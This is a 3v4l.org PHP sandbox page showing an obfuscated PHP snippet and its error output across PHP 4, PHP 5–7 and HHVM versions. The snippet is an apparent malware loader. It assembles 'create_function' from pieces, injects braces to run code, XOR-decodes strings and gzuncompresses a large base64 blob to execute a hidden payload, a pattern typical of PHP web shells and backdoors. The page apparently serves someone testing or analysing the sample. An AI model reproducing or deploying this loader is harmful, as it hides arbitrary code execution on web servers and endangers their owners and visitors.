3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $exugnwlm=array( '$exugnwlm[0]=$exugnwlm[3];$lvmfngfd=lvmfngfd(7,13);$exugnwlm[0]=$lvmfngfd($exugnwlm[2]);', '$exugnwlm[2]=gzuncompress(lvmfngfd(722,2164));', 'Q2RtflB6cntNZGxve2B+SHp4Zkx3eGdifEhIekRHaWpkf2V2dlVvYWN4ZXRmSUpETkVbQF1VVVhbUlhXV0RXUmlmY2p7emZka2d+ZVRwV2xtcyB+eTw5LSc9dmtRc2o9ZWlgOmAlZER1NiQ5ZmA7eltkf0t3NDN4ZnZ+d2JPQXJld2N/bGtDY0Jnamx4aGVyJHNre354PGVzeml2PG1geWhoZWc6emRpcHx5KG5uZ3NqckVXQ19aVGJlcWJMflZNTE54Nyw4TVJFV0NfVl9AWV5jbEVvYmRqPyNQbm9wfnNyLGd9ZGx5JHpyY29pZ2xKSyZFcGxxZl9GRlpMRFtVX0FYeGReQEVGWUNQREteVG51WnZXR1xWUl1QSFxeWFpfUE5sczJiImdyeSZkZ2dzWHEid3p/JjlpZWRnPGJ5bmpmZWNkInd6fyY5RklPPmR5fn9uWnRZTkd0WUZaX1RRbmRZTkdLQEVZcUFUInd6f3RseHN7YGhzUH5nY05zfnV5bmdXWHpzOmxmeXtvZGc+YmdrfXJpcHJBdHpzOmxmeXtvZGc+dHZkenZrbGVsbHNQbmNhdklpeCN6VmNDI294aERlcW9iZGo/I1Bub3B+c3JsYnpTaEdReX53ZWpoelBtb2dOenJzc0xpYmNuUnVubUV4cX5KYUxBRVdDX1ZCXE9YTFBQUklGZGlibE5oUWRTazI5bntwamR+Znw5Z3BjcGRSQ2gxOWR7cm15JHB+emtvNzlpZmVuZmNwdDl0aH9VVSJ0ZyJqeGFsY3'.'Q/Z393LWYwaldLdWwraCpUZ3NBK3cqf2FnKXo3ckVJK3UqVm15SEFPbnZlY1ZKWWRtfns8cGV3Y38zOCBPY05iZit0KmludFVLQWh+ZmNgeWNVcFpYVCt0Kmx8eUFyb2toe3JsTFVlVyt0KnxiN0deXkM+Jjk3Zkh6SEVsZHszN0JIInVzTnN1n4JXcnjtQhjsOwrTyXDKTH2UOOqsS7nGfWVkXpPVWapvGRZqEIy7h35hN91wrbnjNXnPEP7xCLC4+kqorTAZROx7FY1GHUZxjjuPm6S22w+8W/yHM7KZAv3SYvWQQ4mBgKCnIZxRtlOV2Hwv6ruhqw8zK7KbnWJWF3RksMxRVr4nkmfbUsS/rNmrvX8hArtN81aXB9V0KroHfB8TYqwdjeWPzd1yUl0+jtq/oiPxYTysBfAkzppz2vh3KWuOB8HQ7r07xjDEw3g2gODtcP7+G6LMUnPMbb0y9I75rnFDALVdiXTSiYsNpW2pWcpvi9bkF088C4OS7K7EvN19nl1P0LE4a5Bk9cBFPCnmJDhtukghyGoYQ8q2NGJU2kcW1C7Tz8HakkybcxY3pE7n/TWxCT0/gEOGgSblmq6fW4nnl643iNn7/Wz4AfIbql8V7POvGEyB0UuTOnxIxNNDZ+S1fBVuntIBKV0PZf3pfOodIrcUfysuyrTtnVXW6ND5JPiFeFV5Y4hHfmJy+iaFNPzoSeisrVzY02hTbTDoMvk+vDh8+RKCgVQvAoWtx4XMkWGQJKI74+5yB6eF7y2f5evFpmWqYbFbuJSlgz7r6qvgoMG+bvX4lFmYeht3OzQ4XdhlGuN36GU2a5qVJDz+V8jx4LaLd6K/lc+lc5wgPiVeR/PzBW1VsX5QD2r+pSx5Cs7yNq1w73PDHttDrsvb0PwNKw9QOVyXpsmy1Pp6LWqafxbi30urY5zvg+Nvd9/dQiLl3nWYnY'.'xb6mfZn96JNsxWvZ5DoQF1FTY8xjL+vCvIlnYf9g8KI4e8W5JRriB03XglaBRauLOYEJw8Xn5bQMRnCorflkINHCZTQAzSl1X3NfkGxEJxFEfB9mtjuo6tfkr9tWgXrFEp8s0JORn92I9+706tKot7QgnFeZt5JJ8eL3JFj8rqUr8nysMuUZgV4xlfQM10RMAE1JKQC3GhJB0T/iaSRGsYVtcuUqGNdeIx1GrN+goIZJMNU//ol88Ft2EXEvL/IOLHDfKpZuFOVw7joQYdZhGBqR58xn0FrioTwc3YmULgJtWVDEjGO86h3/6ZbEj/p3lmuKOSUl+Is5sI1RNugvt2yQ57Ag2+bv3eFaaFLdj7lClRB6A9KDP1h3sn+4347bTOq+T6ORsIcKFxuJr70zOsS/sSoz2e3L9gPJpQvJnZqPT5ZG/qxyiuyy0iU804vox6Hkml7GlqOOjldXjoEDny4eD0Ga/V4g0ScLZxsF6Xb49M6eLm/Aik40vn8JBPG9sYkWoWDbl/Chh6hma4ZAPZEIe9XkgIfWu+egMErYMgl6xGQRtlFCZHkRF3aqoIKCfJKoKj6sbaWNC2B1CH1jUptz5eUydEptz8ZxjXIHrPYnBgB3ZSogOtO11prPVLD76tMQzJEMDLcO9VleaXKalfxJds2dfXc7TI2qhg3IkPe2KDepO6sFrGAttfzkYvqgfUEjK/gnUBgkIIIUcd/tqzJ7dOjzAKx06lyjY9Lz91vuxAWzaOeTSYcfVUs9vFZLgxrsNUrlW4qoGRb2hDg6IrJbdDDw1HJPSiSr7AHD0IjgRcVgzkQwVrmAqp+KYgfWIn4'.'QyFeojw+9e0GCdlnf/0QRREhBqDOdsYrXtn1LtRKIWhcqm4pwpkQyJkRArp0vritaRU3ovjgsvkty5AvAoXmEcBNWQUCQDsPyieqPy2hEH3aQD1EqP3zSkgls02NiuqhxNdok5hxxEZmVmqCiewylDBsFGFeLvHlS/oyuLKdKwwYt2+mbB4eKtfGEF8qdplnSyAPBuCpT0o8H+a3XGwh33zHZE+WzQocN8EVU4wj/bShWPWHiZm5C6LvUNH7vwwy1YRn/eVlsKc3uGHn+RfcbaseBQClED5N4ORkn8Lj/Ucny4XuMpeixdoTbDuxYwggF2byjBK3ZIlA84QvkJ7y60XxQ3dnwWAYT3RpzEyTLPz+RY+Mv8PSxnwmF5Z/6BopPHOEvfQn15MhnqRRlFsvz9nXnlhJ7KKMaeZmSUSy7zX7w/3RCPpYJ5Qy7DEns9MDuUggKcj5RKZ1FCV4JB98w3pFS6FmR8f5Z0uQ8O4ELpXqVEJNjWP15rmbI6haEk2oNMps/Qj9pHwRqIsPWDoX5HfPxwgxnvNhhekd6S4fqRjCHUddqly+g3RE003+E4z0F7mBxo+/aPdITmBEjyPHGS45oqfH70xSCtv4AyNJkUm/hoJVmLHGXACclW'.'QuRZECpUPuBIBHRyhoNJu/A1HlQtWZ8KknSxHLf6QbyRF8S9BvX4JkvY1S1GXLwY5EE4sxtwVIUFEw3YSM+qdvUiqR1bLEgcPLnMiKmw3rMuF10hp4kN0h594gks9Mn+VBMwIxm1PaOsxP6Q86b8RItGnrqkV99bmyCjODxe9UrWQWmZv+kDrKFKedCgyaqTYOWPWOl4WtuZcScXwURfl4uDpyOfX8Akp067Tp2nERT/T4vPcpOxhN0xEZupCmug2s+1yfsVV1di+6VWcQvQggP5AOAXVgkvsPvKlyJYYDw8WuPA3sG5rQ9+n60QohCMm0ksOsZN+CrtOSQB8WG6+FIxAuhYe/lKWmz5A/0Jam381WHl5pYkRlDaFI8h8KvsaoKhv2s1vtsOj9zfneuqzT+2LQ+kmRJnSxLdMgUJ0fFOwBry4PzVTqoFwcngs7HVbNy0I6ZMuCTd990zJGvEEGc82qUm14N8i66cmZ9be+dHvH0x2HASXVlwxYi6c648B+vvM/+demklYQoKMUr5VXvUR9Tt0h246tJ0zj5N+5XiKf7NOtG8wqrT4BNv0EtpYqzQTjVqdkwmNObbC12Cq/y7TyC3q7qBIgM/1eIPFHuYV5GQTHjaYhUgo7BSKoBBMSQ==', "/*ltwzz\x6f\x62\x64\x6a\x3f\x23\x50\x6e\x6f\x70\x7e\x73\x72*/");$xciomvv='create_'; if(function_exists($xciomvv.='function')){ $xciomvv('','}function lvmfngfd($start,$text_len){global $exugnwlm;$keypad=str_pad("",$text_len,"mcwoiwojjsqwwgrs");$lomask=str_repeat("\x1f",$text_len);$himask=str_repeat("\xe0",$text_len);$text = substr($exugnwlm[0],$start,$text_len);return(($text^$keypad)&$lomask)|($text&$himask);}{'); for($ey=-1;++$ey<3;){ $xciomvv('','}'.$exugnwlm[$ey].'{'); }};unset($exugnwlm);
Output for 5.0.0 - 5.6.28, 7.0.0 - 7.1.0
test in
Output for hhvm-3.12.0
Notice: Undefined variable: exugnwlm Fatal error: Uncaught Error: Call to undefined function anL?T*+orfvy`() in :1 Stack trace: #0 (): include() #1 /in/31o0b(10): create_function() #2 {main}
Process exited with code 255.
Output for hhvm-3.10.0
Notice: Undefined variable: exugnwlm Fatal error: Call to undefined function anL?T*+orfvy`()
Process exited with code 255.
Output for 4.4.2 - 4.4.9
Parse error: syntax error, unexpected '=', expecting ')' in /in/31o0b(10) : runtime-created function on line 1
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.4.1
Parse error: parse error, unexpected '=', expecting ')' in /in/31o0b(10) : runtime-created function on line 1
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error, expecting `')'' in /in/31o0b(10) : runtime-created function on line 1
Process exited with code 255.